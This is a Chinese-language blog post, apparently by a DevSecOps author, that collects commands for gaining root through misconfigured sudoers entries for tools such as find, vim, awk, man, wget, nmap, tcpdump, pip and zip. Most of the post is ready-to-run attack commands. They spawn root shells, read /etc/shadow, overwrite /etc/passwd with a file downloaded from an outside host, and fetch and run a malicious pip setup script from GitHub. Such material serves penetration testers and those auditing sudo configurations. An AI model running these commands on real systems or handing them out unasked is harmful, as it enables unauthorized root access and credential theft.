privilege escalate with sudoers

简介
sudo用于提升权限到指定用户并执行对应的命令, 在企业生产环境中, sudoers的错误配置到处可见, 本文持续收集可通过sudo提权的指令集合.

ps://由于系统文件或开源软件的sudoers配置错误的利用方式较成熟, 因此很多linux系统已经进行相应的内核级限制, 无法直接用于提权, 此时需要开启脑洞实现提权.

文章目录

  • Whit is Sudo?
  • sudo提权

What is Sudo?

Sudo( su “do” )是一款开源的软件, 运行于*nix系统上, sudo涉及授权账户和被授权账户, 授权账户下发权限到被授权账户上; 被授权账户使用该命令可使用授权权限运行对应的命令, 默认授权账户为root.

sudo命令依赖于sudo配置, 配置常存储于/etc/sudoersldap中, 普通用户可通过sudo -l命令查看是否拥有sudo权限和对应的命令.

sudo -l的结果如下:
sudoers配置的内容包括: 命令、用户、用户组、密码四块内容, 本文仅展示最简单的几种:

1
2
3
4
5
6
7
8
9
10
11
12
# 无 sudo 权限
对不起,用户 execute 不能在 archlinux 上运行 sudo。

# root的 sudo权限: sudo执行不需要密码, 且以root权限运行/bin/cat命令
(root) NOPASSWD: /bin/cat
# 运行sudo命令
$ sudo /bin/cat /etc/shadow

# storm的 sudo权限: sudo执行需要密码, 且以storm权限执行
(storm) /bin/cat
# 运行sudo命令式需要添加-u指定用户
$ sudo -u storm /bin/cat /etc/shadow

sudo提权

错误的配置/etc/suduers文件可导致提权, 此处记录可利用sudoers错误配置进行提权的命令.

  • find
  • nano
  • vi/vim
  • man
  • awk
  • less
  • more
  • wget
  • apache2
  • nmap
  • ftp
  • tcpdump
  • pip
  • zip

find

成熟的利用方法:

1
$ sudo find /etc/passwd -exec /bin/bash \;

(find_escalate_root)[find.png]

有些linux系统的find命令虽然设置了suid标志位却无法通过上述方法进行提权, 此时需要考虑用别的方法来进行提权, 如:

1
$ find /etc/shadow -exec cat /etc/shadow \;

(with_suid_escalate_root)[find_suid.png]

nano

nano修改文件导致提权的方法很多, 此处以修改/etc/passwd中当前用户的uidgid值来实现提权.

1
2
3
4
5
6
# 用nano编辑/etc/passwd文件
$ sudo nano /etc/passwd
# 修改当前账号的uid、gid均为0

# 用su命令重新切换到当前账号, 即可进入root账号
$ su execute

vi/vim

vim运行bash命令提权

1
2
# -c: 加载第一个文件后执行 -c参数后的命令
$ sudo vim -c "/bin/bash"

with_vim_sudoers_escalate_root

有些linux系统的vim设置SUID位后, 无法用上述方法进行提权, 此时可通过vim命令修改/etc/sudoers文件, 增加当前用户的sudo权限实现提权, 也可以通过修改/etc/passwd文件中当前用户的id实现提权.
1.编辑/etc/passwd文件
with_suid_vim_escalate_root_1
with_suid_vim_escalate_root_2
with_suid_vim_escalate_root_3
2.重新登陆系统获取root权限
with_suid_vim_escalate_root_4

awk

1
$ sudo awk 'BEGIN {system("/bin/bash")}'

less/more/man

1
2
3
# 进入man帮助页
$ sudo man man
# 直接按下:"!sh"或"!/bin/bash", 键入回车实现越权或绕过rbash

wget

wget用于下载文件, 可指定保存文件位置, 设置了sudo权限的wget可通过覆盖文件实现提权, 此处以覆盖/root/.ssh/为例, 还可以覆盖/etc/passwd

1
2
3
4
# 下载passwd文件覆盖/etc/passwd
$ sudo wget http://172.16.88.130/passwd -O /etc/passwd
# 切换到passwd中的用户
$ su hack

apache2

1
2
# 通过apache2的命令行工具, 无法直接get shell或修改系统文件, 但可读取文件, 通过爆破密码登陆系统.
$ sudo apache2 -f /etc/shadow

nmap

1.老版本的nmap具有交互式命令行, 可通过下面的命令提权

1
2
3
[execute@archlinux ~]# sudo nmap --interactive
nmap> !bash
[root@archlinux ~]#

2.新版本的nmap无交互式命令行, 可通过nse脚本进行提权

1
2
# .nse后缀非必须选项
$ echo "os.execute('/bin/bash')" > /tmp/pri.nse && sudo nmap --script=/tmp/pri.nse

ftp

1
2
$ sudo ftp
ftp> !/bin/bash

tcpdump

tcpdump用于网络抓包, 参数-z可指定抓包结束后执行的命令, -Z指定使用什么账户来执行(在4.0.0版本中被引入)

1
2
3
4
5
6
# 编写提权exp
$ echo "(echo 'owefsad';sleep 2;echo 'owefsad')|passwd">/tmp/.pri
# 赋予执行权限
$ chmod +x /tmp/.pri
# 抓包提权
$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.pri -Z root

pip

pip是python安装模块的命令, python中安装模块时可执行操作系统命令, 因此通过构造提权的pip包即可提权.
大佬公开的git地址:https://github.com/0x00-0x00/FakePip

1
2
3
$ mkdir pri;cd pri
$ wget https://raw.githubusercontent.com/0x00-0x00/FakePip/master/setup.py
$ sudo pip install . --upgrade --force-reinstall

zip

zip是从第4篇文章中看到的挑战, 经过翻阅zip说明文档后, 使用下面的简单方法进行提权, 但是zip还有很多有意思的提权, 请在第5篇文章中查看.

1
$ sudo zip -U /root/original-docs.zip -O /var/lib/extracted-docs.zip -T -TT '/bin/bash #'

参考链接

  1. sudo官网介绍
  2. sudoers配置详解
  3. proper-use-sudo-linux-privilege-escalation
  4. how-i-got-root-with-sudo
  5. solutions-to-the-sudo-challenge
owefsad wechat
进击的DevSecOps,持续分享SAST/IAST/RASP的技术原理及甲方落地实践。如果你对 SAST、IAST、RASP方向感兴趣,可以扫描下方二维码关注公众号,获得更及时的内容推送。
0%